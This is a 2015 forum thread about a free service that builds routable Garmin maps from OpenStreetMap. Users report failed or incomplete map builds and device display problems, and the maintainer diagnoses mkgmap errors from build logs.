Error:␣basemap␣doesn't␣exist
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.05.2015 08:54 · [flux]
ligfietser wrote:
@Lambertus, looks there is something going wrong during the process
Can't␣open␣script␣"63240000.nsi"
And
Building␣Basecamp/RoadTrip␣installer JaVaWa␣MapConverter␣CLI␣version␣0.7
Error:␣basemap␣doesn't␣exist
This is only a secondary problem. Mkgmap fails to generate a gmapsupp.img and, because in the same step the .nsi script is generated, the subsequent attempt to generate the Windows Installer fails because the .nsi script is missing. So the root cause is something in Mkgmap, unfortunately the extra logging does not contain the Java stack trace. Looks like I need to include more into the logging then stdout, so I'll explicitly add stdout and stderr as well.
Please keep posting the links to failed maps please! 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Lilla22 (Gast) · 26.05.2015 09:21 · [flux]
Still no luck:
http://sfs4.pleiades.uni-wuppertal.de/g … 0c51373f1/The osm_generic_gmapsupp.zip files is there but 22 byte is not a very detailed map.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lilla22 (Gast) · 26.05.2015 09:25 · [flux]
Same story:
http://sfs4.pleiades.uni-wuppertal.de/g … 0c51373f1/Edit:
My two submitted requests where similar in content, and it seems that the machinery gave me to identical links to maps generated May 19th (likely generated on my earlier request). - Re: Worldwide routable Garmin maps: URL REMOVED · Lilla22 (Gast) · 26.05.2015 09:30 · [flux]
Here is on more: Still The osm_generic_gmapsupp.zip files is there but 22 byte and still dates May 19th
http://sfs4.pleiades.uni-wuppertal.de/g … bbfb8a73a/ -
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.05.2015 09:46 · [flux]
Lilla22 wrote:
Thanks! The better logging provides a clue to the problem this time:
Time started: Tue May 26 10:40:45 CEST 2015
SEVERE (Main): 2000.typ: file 2000.typ doesn't exist
Number of MapFailedExceptions: 0
Exiting - if you want to carry on regardless, use the --keep-going option
Number of ExitExceptions: 1
Time finished: Tue May 26 10:40:45 CEST 2015
Total time taken: 409msEdit:
The directory "mapnik" is deprecated so that needs to be fixed. For now I worked around this by adding a symlink. This should be fixed now (on the sfs4 server).Edit:
Yes, it looks like this problem is solved now. 🙂Thanks all for reporting/feedback and suggestions!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lilla22 (Gast) · 26.05.2015 11:47 · [flux]
Success!
Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · davidskcheung (Gast) · 26.05.2015 23:40 · [flux]
Dear Sirs,
My location was in Hong Kong and I download the file to use with my Garmin. But it was only show english language.
I would like to have a map with local language (Tradition or Simple Chinese are ok)
Would you tell how to select this option during create the map for download?
Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 27.05.2015 08:19 · [flux]
David, that is not possible, the maps are only available in English.
- Re: Worldwide routable Garmin maps: URL REMOVED · davidskcheung (Gast) · 27.05.2015 09:14 · [flux]
Thank you very much.
- Re: Worldwide routable Garmin maps: URL REMOVED · davidskcheung (Gast) · 27.05.2015 09:24 · [flux]
ligfietser wrote:
David, that is not possible, the maps are only available in English.
Dear Sir,
but how come I got local language when update the map such as link below?
http://www.openstreetmap.org/#map=12/22.6270/114.1212
Or your meaning is when extract to img file, the data only could be available in english?
Thank you very much.
(sorry as I am newbie and may be ask for foolish question)
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 27.05.2015 10:24 · [flux]
You can compile them yourself with mkgmap or look for a map provider that makes them. I know there are OSM garmin maps in Japanese, but I dont know any maps in Chinese. See http://wiki.openstreetmap.org/wiki/OSM_ … n/Download
Maybe ask and look around in the Chinese OSM community. - Re: Worldwide routable Garmin maps: URL REMOVED · Kartografiertier (Gast) · 27.05.2015 11:29 · [flux]
Dear David,
you asked me via Mail, if I can see Chinese words on Garmin. Sorry, I'm not using Garmin. I'm using Osmand on Android. This can display Chinese as well. You can select the language you prefere.
- Re: Worldwide routable Garmin maps: URL REMOVED · kpalser (Gast) · 27.05.2015 17:17 · [flux]
Thanks Lambertus,
error seems to be fixed! now I was able to create a new gmapsupp.img as intended.
Love your service! - Re: Worldwide routable Garmin maps: URL REMOVED · davidskcheung (Gast) · 27.05.2015 21:45 · [flux]
ligfietser wrote:
You can compile them yourself with mkgmap or look for a map provider that makes them. I know there are OSM garmin maps in Japanese, but I dont know any maps in Chinese. See http://wiki.openstreetmap.org/wiki/OSM_ … n/Download
Maybe ask and look around in the Chinese OSM community.Thank you so much.
I just d/l it and have draft read though. But as a end user, it seems to be too complicate for me to made it by myself.
It means I will swap back my Garmin 1000 back to Cateye speed checker...........
- Re: Worldwide routable Garmin maps: URL REMOVED · davidskcheung (Gast) · 27.05.2015 21:48 · [flux]
Kartografiertier wrote:
Dear David,
you asked me via Mail, if I can see Chinese words on Garmin. Sorry, I'm not using Garmin. I'm using Osmand on Android. This can display Chinese as well. You can select the language you prefere.
Thank you. As I use it with bike, my android (mobile) can't last for such long time....... also, it seems too complicate for me to build it.......
Sigh.
Thank you very much for your reply here once again.
- Re: Worldwide routable Garmin maps: URL REMOVED · OsmHulmi (Gast) · 05.06.2015 20:09 · [flux]
The generation of Generic_new country map of Germany is failing:
http://sfs4.pleiades.uni-wuppertal.de/g … 5fa347d15/
and the France map is missing tiles:
- Re: Worldwide routable Garmin maps: URL REMOVED · OsmHulmi (Gast) · 06.06.2015 07:19 · [flux]
In the current version of generic_new, there are "red" tiles near Strassbourg (France) and Schleswig (Norther Germany).
- Re: Worldwide routable Garmin maps: URL REMOVED · Tim_time (Gast) · 06.06.2015 15:44 · [flux]
Hello, thanks for the great map generation service!
Unfortunately, the bug of not creating gmapsupp.img files has returned. I've tried creating generic routable, generic routable modern style, and generic routable maps starting with UK selected. In all three cases I'm getting groups of individual img files, but no gmapsupp.img file.
One map process was run last night, the other two this morning. Here are the map notices:
http://sfs4.pleiades.uni-wuppertal.de/g … 8b9412172d
http://sfs4.pleiades.uni-wuppertal.de/g … d90dde87b7
http://sfs4.pleiades.uni-wuppertal.de/g … d90dde87b7Thanks for your help!
Tim - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.06.2015 20:03 · [flux]
One of the maps from tim_time uses the following tiles from generic_new:
63240776.img
63240777.img
63240781.img
63240782.img
63240783.img
63240784.img
63240785.imgFrom the buildlog:
/home/lambertus/garmin/utils/mkgmap-style-sheets/typ/osm generic new/2000.typ to ./2000.typ
Building gmapsupp
Time started: Sat Jun 06 01:11:54 CEST 2015
Number of MapFailedExceptions: 0
Exception in thread "main" java.lang.NegativeArraySizeException
at uk.me.parabola.imgfmt.app.BufferedImgFileReader.get(BufferedImgFileReader.java:165)
at uk.me.parabola.imgfmt.app.net.NETFileReader.fetchZipCity(NETFileReader.java:151)
at uk.me.parabola.imgfmt.app.net.NETFileReader.getRoads(NETFileReader.java:116)
at uk.me.parabola.imgfmt.app.map.MapReader.getRoads(MapReader.java:205)
at uk.me.parabola.mkgmap.combiners.MdrBuilder.addStreets(MdrBuilder.java:307)
at uk.me.parabola.mkgmap.combiners.MdrBuilder.onMapEnd(MdrBuilder.java:180)
at uk.me.parabola.mkgmap.combiners.GmapsuppBuilder.onMapEnd(GmapsuppBuilder.java:149)
at uk.me.parabola.mkgmap.main.Main.endOptions(Main.java:565)
at uk.me.parabola.mkgmap.CommandArgsReader.readArgs(CommandArgsReader.java:128)
at uk.me.parabola.mkgmap.main.Main.mainStart(Main.java:134)
at uk.me.parabola.mkgmap.main.Main.main(Main.java:105)Mkgmap version for rendering is: r3605
Mkgmap version for map building is: r3492Apparently I forgot to update Mkgmap on the map building server...this might be a hit to the problem. However, the red tiles near Strasbourg and in Northern Germany indicate a problem during the render stage. The logfile of the render stage is 19GB! Talking about a haystack...
Edit:
The tiles above rendered without any problems. No subsplitting needed and no Mkgmap MapFail- nor Exit-exceptions. This suggests that the difference in Mkgamp version is the culprit: I've updated the Mkgmap version on the build server.Edit:
I've requested a custom map covering most of Germany and the resulting map compiled fine. So it looks like this problem is solved. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.06.2015 20:56 · [flux]
Searching for the cause of the problem with Strasbourg I notice the following error in the logfile:
SEVERE (ExtNumbers): 63242291.o5m: internal error, house has wrong segment id=338434488, D127 Rue d'Altorf house 117(5) http://www.openstreetmap.org/node/210005606514
This error repeats many times and it seems it keeps Mkgmap in a loop because Mkgmap get's killed by my script due to a timeout after 900s (15 minutes). A normal tile render takes about 50 seconds.
The OSM source file is then subsplit and each individual tile is rendered. Now I get the following error many times:
SEVERE (ExtNumbers): 63242293.o5m: internal error, house has wrong segment id=336803382, (Rue Kleinfeld) house 13(0) http://www.openstreetmap.org/node/3438933826
And the process repeats itself. The result is the small missing tile near Strasbourg.
Edit:
Looking for the error I get more hits in the logfile, e.g.:SEVERE (ExtNumbers): 63242313.o5m: internal error, house has wrong segment id=61674895, null house 93(0) http://www.openstreetmap.org/node/1614108256
Edit:
Source file 63241604.o5m contains such problem addresses as does 63241741.o5m. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.06.2015 21:48 · [flux]
Lambertus, maybe report this to the mkgmap list, I think the housenumber processing which has been updated is still buggy?
- Re: Worldwide routable Garmin maps: URL REMOVED · unsereins (Gast) · 08.06.2015 15:13 · [flux]
Dear Lambertus,
Latest on February this year I made a download of Germany (whole country, from the dropbox)
with garmin.openstreetmap.nlEverything was ok.
Today I wanted to do the same. Normally I got the message "Download map now", but now the
map has to be build at first, and an info will be sent via email.When I got the email and clicked the shown URL, the file "osm_generic_gmapsupp.zip" for direct
use on the SD card is missing.When I was checking Austria or UK this file is provided, for instance for France it is missing, too.
Does this perhaps belong to the two red marked tiles (one to the right of the town Schwerin in
Germany, one to the left of Strasbourg in France)?Kind regards,
Helmut - Re: Worldwide routable Garmin maps: URL REMOVED · unsereins (Gast) · 09.06.2015 08:19 · [flux]
Hello,
I marked yesterday 10 tiles around my location and this has been working.
Today I had a look on the provided files: All files available. Fine!
So I have a workaround for my purposes as long as the point "download
whole Germany in one click" do not work properly.Kind regards,
Helmut - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.06.2015 08:53 · [flux]
@Lambertus:
Mkgmap developer Gerd wrote me:
it seems that http://garmin.openstreetmap.nl/
uses r3605 which crashes under rare conditions,
I see a red squre near Strasbourg.I guess this is related to this post:
http://gis.19327.n5.nabble.com/IndexOut … 47079.htmlI suggest to use 3612 or newer.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.06.2015 10:17 · [flux]
ligfietser wrote:
@Lambertus:
Mkgmap developer Gerd wrote me:
it seems that http://garmin.openstreetmap.nl/
uses r3605 which crashes under rare conditions,
I see a red squre near Strasbourg.I guess this is related to this post:
http://gis.19327.n5.nabble.com/IndexOut … 47079.htmlI suggest to use 3612 or newer.
Thanks Ligfietser, I'll update Mkgmap and start a new map update.
- Re: Worldwide routable Garmin maps: URL REMOVED · ScottBolton (Gast) · 09.06.2015 18:28 · [flux]
Many thanks for this! I've just downloaded New England and California/Nevada/Arizona to compliment my CNNA v8. Is there any way to rename the map set from OSM generic routable to something more descriptive?
(I use MapSource as my main map viewer)
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.06.2015 19:06 · [flux]
With Javawa's tools GMTK (for the maps on your computer) and Device manager you can rename and manage your maps, http://www.javawa.nl
- Re: Worldwide routable Garmin maps: URL REMOVED · Tim_time (Gast) · 09.06.2015 23:27 · [flux]
Hello,
Thanks for your support with the gmapsupp.img problem. It is not working yet, but there do appear to be improvements. I now get a file link that correctly shows the file directory. Previously, there were not as many file entries as I am used to seeing. The osm generic folder has a reasonably sized gmapsupp.img file, but when I put the file on my garmin it does not recognize it as a valid file. I also tried the file on a newer garmin that allows multiple map files at one time, and it sees all the map files except my currently made one. I tried making a map file last night, and other today, but neither one is working correctly. Here's the most recent map request:http://sfs4.pleiades.uni-wuppertal.de/g … d90dde87b7
I found it interesting that the link was identical to the map request made last night. Perhaps the server is smart enough to realize it has already made this map, and just re-sends the link? But if this was the case, why would it take some time to build the map?
Thanks again for your help,
Regards,
Tim - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.06.2015 21:00 · [flux]
Tim_time wrote:
Hello,
Thanks for your support with the gmapsupp.img problem. It is not working yet, but there do appear to be improvements. I now get a file link that correctly shows the file directory. Previously, there were not as many file entries as I am used to seeing. The osm generic folder has a reasonably sized gmapsupp.img file, but when I put the file on my garmin it does not recognize it as a valid file. I also tried the file on a newer garmin that allows multiple map files at one time, and it sees all the map files except my currently made one. I tried making a map file last night, and other today, but neither one is working correctly. Here's the most recent map request:My GPSMap60 does not complain about the gmapsupp.img.
I found it interesting that the link was identical to the map request made last night. Perhaps the server is smart enough to realize it has already made this map, and just re-sends the link? But if this was the case, why would it take some time to build the map?
Yes, the server is smart enough to notice it already created the map. The waiting time is simply because your request lingers in the queue for a while until earlier requests are finished. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · ScottBolton (Gast) · 11.06.2015 22:46 · [flux]
ligfietser wrote:
With Javawa's tools GMTK (for the maps on your computer) and Device manager you can rename and manage your maps, http://www.javawa.nl
Thanks for the tip.
- Re: Worldwide routable Garmin maps: URL REMOVED · DacianH (Gast) · 11.06.2015 23:56 · [flux]
I've been searching for the past couple of days and reading through as many forums as possible trying to figure out how to create a Garmin img file that contains both OSM AND contour lines. Is there a SIMPLE way to do this?
I downloaded the OSM data from http://garmin.openstreetmap.nl/ which is very simple and straight forward BUT it does not contain contours and the "Transparent overlay with elevation contours" is currently unavailable. I'm sure there has been discussion about this on this forum but I can't find it 🙁
I was able to find contours here - http://extract.bbbike.org/?lang=en but they are 40m spacing which is not as good or detailed as I was hoping for. Is there a better place to get these without making them myself? I saw plenty of forums about making your own contours and went down that path only to get confused and discouraged...
So, I now have the OSM Garmin .img file and a 40m Contour file (would like 5m or 10m) and I want to combine them into one map file for Basecamp/Mapsource and my Garmin 60csx. I looked at using OSM Combiner but it wants .zip files, what you get from bbbike.org is an .img, not zipped up tiles.
Long story short, is there a simple way that I can download (and load on my GPS) OSM data over Colorado USA that contains contour lines suitable for mountain biking?
thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.06.2015 07:26 · [flux]
Hi Dacian,
You can find 10m contours for the USA on http://osm.thkukuk.de/
OSM combiner can also eat img's, not only zip files.
Hope this helps. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.06.2015 10:53 · [flux]
Well, I've been (very) slowly working on adding contour lines. It already works for countries but not yet for custom maps. This stuff is already complicated and adding another layer adds even more.
- Re: Worldwide routable Garmin maps: URL REMOVED · GavinX (Gast) · 13.06.2015 05:07 · [flux]
Am trying to download the maps for Australia in teh Generic Routable (new style). The Garmin Request map ready email link map takes me to a site containing a file called osm_generic_new_tiles.zip which does not have any installer - which I need to register for mapsource etc.
What step am I missing?
Thanks
(for an awesome product)Gavin
- Re: Worldwide routable Garmin maps: URL REMOVED · GavinX (Gast) · 13.06.2015 23:42 · [flux]
Hmmm and now the map installer is included.
FIXED
- Re: Worldwide routable Garmin maps: URL REMOVED · bhkv (Gast) · 18.06.2015 20:34 · [flux]
Hi,
I confess I feel like I'm going mad just now. I've tried downloading some single maps from within the UK region on my Mac, my iPhone and on Windows, and not a single file I've downloaded has worked. I've tried opening the IMG files in a different user and in Safe Mode on OS X, and I always get the same message:
"No mountable filesystems"
I tried converting them to Read-Only DMGs - same error message.
I tried converting them to DVD/CD Masters - same error message.When I try to download the files in Windows 7 using Safari, they vanish the instant they are downloaded!
"File has moved since you downloaded it."
Every single time.When I try to download in Windows 7 using IE I can't even get the drop-down menus to appear on the webpage, so I can't select anything to download anything at all!
Can someone please help me. All I want to do is download some sections of the UK map for use in Garmin BaseCamp.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.06.2015 22:06 · [flux]
Please read the manual first http://wiki.openstreetmap.org/wiki/Garm … .nl:Manual
For the Mac you need the osm_generic_macosx.zip version and install this with MapInstall I guess (I dont have a Mac).
For windows you need the osm_generic_windows.exe and click on it, thats all.
Iphones are not supported
The img is for the GPS. Clicking on img result in messages like "No mountable filesystems" because your computer cant handle those files. Converting them to DVD doesn't help you any further, why would you try to do this? - Re: Worldwide routable Garmin maps: URL REMOVED · bhkv (Gast) · 19.06.2015 15:07 · [flux]
ligfietser wrote:
Please read the manual first http://wiki.openstreetmap.org/wiki/Garm … .nl:Manual
For the Mac you need the osm_generic_macosx.zip version and install this with MapInstall I guess (I dont have a Mac).
And where do I download osm_generic_macosx.zip? There's no link for this on that page, nor on the two, "See Also" pages linked on the BaseCamp page, nor on the OS X wiki page.
I'm sorry, but your wiki is not as informative as you may believe.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.06.2015 15:24 · [flux]
Maybe this tutorial can help you http://www.dcrainmaker.com/2013/05/down … 00810.html
- Re: Worldwide routable Garmin maps: URL REMOVED · bhkv (Gast) · 19.06.2015 19:23 · [flux]
ligfietser wrote:
Maybe this tutorial can help you http://www.dcrainmaker.com/2013/05/down … 00810.html
No.
I don't think there's any working advice on how to install OSM maps into BaseCamp on OS X on this wiki. Perhaps some day it will be available, but not today.
By the way, please try not to be so rude to people. Confusing the Garmin IMG file for a disk image file is a common mistake, in fact the second reply on the link above is from a Mac user with exactly this problem, back in 2013!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.06.2015 19:32 · [flux]
bhkv, find another map supplier. I cant help you further.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.06.2015 20:57 · [flux]
Bhkv, ligfietser is trying to help you in his spare time for free, as he did for countless others. Please don't be rude even if you can't figure things out after his multiple tips and suggestions. I do agree that the documentation is rough and has gaps.
- Re: Worldwide routable Garmin maps: URL REMOVED · Philatsea (Gast) · 21.06.2015 20:09 · [flux]
I have noticed most of this past week that osm2 osm3 serves have been unavailable leaving things up to the sfs4 server.
Are you aware of this?
Thank you.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 22.06.2015 12:02 · [flux]
Yes, I'm aware of that, sfs4 has fixes that osm2 and 3 don't yet have. That's no problem as sfs4 is fast enough to handle all requests.
- Re: Worldwide routable Garmin maps: URL REMOVED · OsmHulmi (Gast) · 23.06.2015 04:58 · [flux]
Lambertus wrote:
Mkgmap version for rendering is: r3605
Mkgmap version for map building is: r3492Apparently I forgot to update Mkgmap on the map building server...this might be a hit to the problem. However, the red tiles near Strasbourg and in Northern Germany indicate a problem during the render stage. The logfile of the render stage is 19GB! Talking about a haystack...
Edit:
The tiles above rendered without any problems. No subsplitting needed and no Mkgmap MapFail- nor Exit-exceptions. This suggests that the difference in Mkgamp version is the culprit: I've updated the Mkgmap version on the build server.Edit:
I've requested a custom map covering most of Germany and the resulting map compiled fine. So it looks like this problem is solved.In the newest map version, these two tiles are still red. It looks like it wasn't the mkgmap versions.
- Re: Worldwide routable Garmin maps: URL REMOVED · Allroads (Gast) · 02.07.2015 09:21 · [flux]
Schleswig Germany, there is a small red tile you can not enable to download
- Re: Worldwide routable Garmin maps: URL REMOVED · colebatch (Gast) · 06.07.2015 16:27 · [flux]
Hi Lambertus
Been using your facility for years, always with good results, but am trying to get a map out now and am met with a tiny choice of options ... basically only map tiles. Would like the windows EXE file and the full 2.5GB gmapsupp.img / zip file, but there are none to be found.
Please advise what I am doing wrong / need to do. (screenshot follows)
- Re: Worldwide routable Garmin maps: URL REMOVED · arandom_gps_user (Gast) · 06.07.2015 23:02 · [flux]
Hello
I have been using this great service a bit over a year now - thank you for providing such a useful feature! 🙂
On my Garmin etrex20 I had been using the premade tileset for the Canada, Quebec region (CA-QC-17-12-2014, Generic Routable New) with no issues. Previous versions of the dataset also have had no issues.
When wanting to update to a newer set around 20 Jun 2015, I noticed that several tiles from the set would not display on the eTrex 20 (particularly the CA-Montreal Tile). Everything appears correctly in Basecamp.Wondering if this was an issue specific with a bad render of a tile or somthing. I verified with a custom made set with the same result. Lurking around the forums and the net, I could not find anything to indicate a specific issue with the etrex20.
I also gave a go at generating a very small set of data from osm using mkgmap in the montreal area that was causing problems; using the .typ file packaged in your sets. That rendered ok (but not identical to your normal rendering , having little experience with mkgmap and what not..)
Thinking that this issue might just resolve itself with the next generation of the datasets, I just downloaded the most recent CA-QC-01-07-2015. And now even more tiles don't render on the etrex20. (and again it renders just fine in basecamp)
Considering that everything used to work fine - I am definitely suspecting the issue is with the generation of newer tiles hitting some kind of limit of what the etrex20 can render? (I would assume that it's that since the same data set in dec 2014, there has been more detail/info/poi etc. added in OSM, that is hitting some limit of what can be rendered on the etrex20?)Obviously I would really like to continue using this service, so wondering if this is a known issue? Or anyone else experiencing this? If I have to generate my own data from osm using mkgmap so be it, but would really like to know if anyone would know what is the limiting factor? (ex: number of POI? Polycount?)
In any case any guidance would be much appreciated. 😎
- Re: Worldwide routable Garmin maps: URL REMOVED · ulf78 (Gast) · 07.07.2015 07:38 · [flux]
The map generation for Germany, New style failed. no zip/img files in the folder :-(
http://osm2.pleiades.uni-wuppertal.de/g … 79170e26a/Can I somehow restart the rendering process?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.07.2015 08:01 · [flux]
@arandom_gps_user: make sure you have removed the older mapsets from your device. If you have two tiles with the same number, they result in a blank map. You can check those errors with Javawa Device Manager
- Re: Worldwide routable Garmin maps: URL REMOVED · tupapapr87 (Gast) · 07.07.2015 20:21 · [flux]
I've been trying to request a manual tile selection routable cycling map....I continue to get the first email with a "check status" URL but the second email does not come through. This is what I'm seeing when I click on the URL in the first email:
"This request could not be found in the queue. Most likely the map is already generated and you received another email containing the url where the map can be downloaded, or you should receive that email shortly."
Same thing for the last 48 hours. Please advise. Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · Ed_Coda (Gast) · 08.07.2015 02:32 · [flux]
I've tried several requests for a Routable Bicycle map throughout the day-- I have only received the first email. When I attempt to track the status I get this message:
"This request could not be found in the queue. Most likely the map is already generated and you received another email containing the url where the map can be downloaded, or you should receive that email shortly."
But as I wrote above, I have still not received the the other email with the url.
If it helps this was my latest status link contained in the request's initial email:
Below you find a link to a webpage that shows the current status of your request.
<http://sfs4.pleiades.uni-wuppertal.de/g … 34798503df>I really think your service is AWESOME! I just hope I can get it to work....
Please Advise,
Ed Coda
- Re: Worldwide routable Garmin maps: URL REMOVED · mario_b (Gast) · 08.07.2015 08:08 · [flux]
Morning,
i use that Service also since Monthes - great thing and most times it works very very well ! Thank you very much all for that.
Since some Days i have the same Problem - Germany maps didn't work any more. There is no Installer not on the Routeable and not on the New Style Routable. Have tried to get the map with manual selection (just adding one small tile) but this didn't work. There is no request any more in the queue and i get no download link.
And i see also that Red Tile in the Germany Map (near Strassbourg).
Maybe someon is able to fix that Problem with the Germany map.
Regards Mario
- Re: Worldwide routable Garmin maps: URL REMOVED · neilc77 (Gast) · 08.07.2015 08:18 · [flux]
Hi,
I've used this excellent service before and think it is fantastic. Unfortunately, this time I am having the same issue as previous posters.
Since last night I have been trying to request a routable bicycle map but I only get the first email. If I click on the link to track the request I get this message:
"This request could not be found in the queue. Most likely the map is already generated and you received another email containing the url where the map can be downloaded, or you should receive that email shortly."
I have tried 3 times now, twice last night and once this morning, but the second email has never arrived.
Please can you help?
Thanks in advance.
Neil - Re: Worldwide routable Garmin maps: URL REMOVED · Nanouk1984 (Gast) · 08.07.2015 10:43 · [flux]
Hello!
I also have the same problem. Trying to generate the map, but only get the first mail and not the completion mail. I love this service and use it for every trip I go on so I hope it gets back to a working state again.
Cheers
/Robert
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.07.2015 14:33 · [flux]
ulf78 wrote:
The map generation for Germany, New style failed. no zip/img files in the folder :-(
http://osm2.pleiades.uni-wuppertal.de/g … 79170e26a/Can I somehow restart the rendering process?
Wierd that the service chose to use the osm2 server as it is indicated as not available. But perhaps it's because there is a problem with the only available server sfs4. Looking into it. This is why everyone's custom map request is failing too.
Edit:
The remote filesystem that stores all the maps is not mounted after a server reboot. I'll ask the server admin to look into this. The temporary solution is to use Country maps only. - Re: Worldwide routable Garmin maps: URL REMOVED · arandom_gps_user (Gast) · 08.07.2015 17:50 · [flux]
ligfietser wrote:
@arandom_gps_user: make sure you have removed the older mapsets from your device. If you have two tiles with the same number, they result in a blank map. You can check those errors with Javawa Device Manager
Thanks ligfietser, that was the problem!
I had the maps disabled on the device, but I guess the img gets processed anyways. Out of curiosity I have had multiple same tiles from different maps present on the device before without issue, I suppose internally when they are generated by the server the associated tile number is somehow randomized or unique to each map set? Ex: in my area the preset map for New York State and Quebec Province share tiles, but don't cause the blank tile/map, and both cooexist on the device.
But anyways thats a moot point since the problem is fixed!
Thanks for the quick help!
🙂 - Re: Worldwide routable Garmin maps: URL REMOVED · Umapathy (Gast) · 10.07.2015 04:23 · [flux]
I have Garmin eTrex10 gps. I have put the northern region of Sri Lanka map and I was successful (OSM generaic routable LKA_01-07-2015). I can see the roads in openstreetmaps but my gps (Garmin etrex10) didn't display the streetnames. Is there any way to display the street names in Garmin eTrex 10 GPS? I can see the streetnames in Garmin map source.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 10.07.2015 09:45 · [flux]
@Umapathy: I dont know the Etrex 10 but I think you can enable streetnames or change the zoom level in the settings of your device somehow.
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 10.07.2015 13:11 · [flux]
Officially the eTrex 10 doesn't support maps at all, so I assume it simply isn't capable to display street names.
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 10.07.2015 14:28 · [flux]
I have tried to make some maps for eTrex 10. I had device for a short time and I even haven't noticed missing names. They could clutter the screen anyway. Surprising is that eTrex 10 with detailed maps supports address search, POI search, POI data like address and phone number, marine objects. It would be a nice B&W device if it had more internal memory.
- Re: Worldwide routable Garmin maps: URL REMOVED · Umapathy (Gast) · 10.07.2015 18:38 · [flux]
JaVaWa wrote:
Officially the eTrex 10 doesn't support maps at all, so I assume it simply isn't capable to display street names.
eTrex10 does support maps. Onlything we need to copy the whole content of the GPS to a computer (for backup purposes) then delete file named gmapbmap from the gps. From the mapsource send the required map and rename the map as gmapbmap then it (GPS) loads the map. I think the device only look for a particular filename (gmapbmap) to load the map.
- Re: Worldwide routable Garmin maps: URL REMOVED · Umapathy (Gast) · 10.07.2015 19:19 · [flux]
ligfietser wrote:
@Umapathy: I dont know the Etrex 10 but I think you can enable streetnames or change the zoom level in the settings of your device somehow.
I tried the zoom setting but I wasn't successful. I don't know any setting or any undocumented feature in Garmin eTrex10 GPS to display the streetnames.
- Re: Worldwide routable Garmin maps: URL REMOVED · Umapathy (Gast) · 10.07.2015 19:25 · [flux]
popej wrote:
I have tried to make some maps for eTrex 10. I had device for a short time and I even haven't noticed missing names. They could clutter the screen anyway. Surprising is that eTrex 10 with detailed maps supports address search, POI search, POI data like address and phone number, marine objects. It would be a nice B&W device if it had more internal memory.
http://i.imgur.com/u4BfrN6.png http://i.imgur.com/egiKUsJ.png http://i.imgur.com/CeAnD1J.png http://i.imgur.com/uTthEXk.png http://i.imgur.com/Tgli3cw.png
Thanks I also seen POI which is nice but would be even great if it displays the street names. I don't mind about B@W screen. Basic display is sufficient enough for me atleast for now with my current earning in Sri Lanka.
- Re: Worldwide routable Garmin maps: URL REMOVED · GerhardKreuzer (Gast) · 11.07.2015 07:13 · [flux]
Hi,
just want to get a map for the Seychelles, using 'new style, but get nothing. In the log I found lines 'tile xxx Image not found.
Any idea.
'Old' style map works out.With best regards
Gerhard
- Re: Worldwide routable Garmin maps: URL REMOVED · Zemartelo (Gast) · 11.07.2015 17:02 · [flux]
I just wanted to report that I am not getting the windows install option to download.
This are the options that I get:
Free maps for Garmin brand GPS devices
from OpenStreetMap
country: New Brunswick
version: 01-07-2015
Name Size Description
metadata/ -
osm_generic_tiles.zip 46M Compressed file containing the tiles and overview map. This is useful for applications like Qlandkarte and Linux users.
Map data © openstreetmap.org and contributors - Re: Worldwide routable Garmin maps: URL REMOVED · Skippern (Gast) · 15.07.2015 22:19 · [flux]
In Brazil there are two states that have a strange naming convention for federal highways. Currently they appear quite messy on the GPS, and wonder if there would be any chance of making specific rules for these cases?
Se attached image (sorry for extremely large image)
- Re: Worldwide routable Garmin maps: URL REMOVED · Umapathy (Gast) · 16.07.2015 15:35 · [flux]
Currently (OSM Generic Routable 09July2015) sri lanka been 3 parts almost all the parts are around 7.5MB. I used to upload GPS traces from time to time via https://www.openstreetmap.org/user/Umapathy/traces to fix the road position. Unfortunately with newer download I used to get Out of memory errors even if I clear the old tracks. If you can make Sri Lanka in to 4 or 5 segments it will greatly faciliate to put in to my eTrex10 GPS and I can also contribute with more GPS traces to Sri Lanka. This would be great help for me. Thanks in advance.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.07.2015 07:53 · [flux]
@Umapathy, have you tried popejs maps, http://www.gmaptool.eu/en/content/maps-garmin-fenix
Or get a better device which is capable of displaying large maps.@Skippern, isnt that a mapping fault on OSM?
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 17.07.2015 08:53 · [flux]
Can we have a link to the highway or coordinates, please?
- Re: Worldwide routable Garmin maps: URL REMOVED · muralito (Gast) · 17.07.2015 15:28 · [flux]
Beddhist wrote:
Can we have a link to the highway or coordinates, please?
- Re: Worldwide routable Garmin maps: URL REMOVED · Umapathy (Gast) · 20.07.2015 05:17 · [flux]
ligfietser wrote:
@Umapathy, have you tried popejs maps, http://www.gmaptool.eu/en/content/maps-garmin-fenix
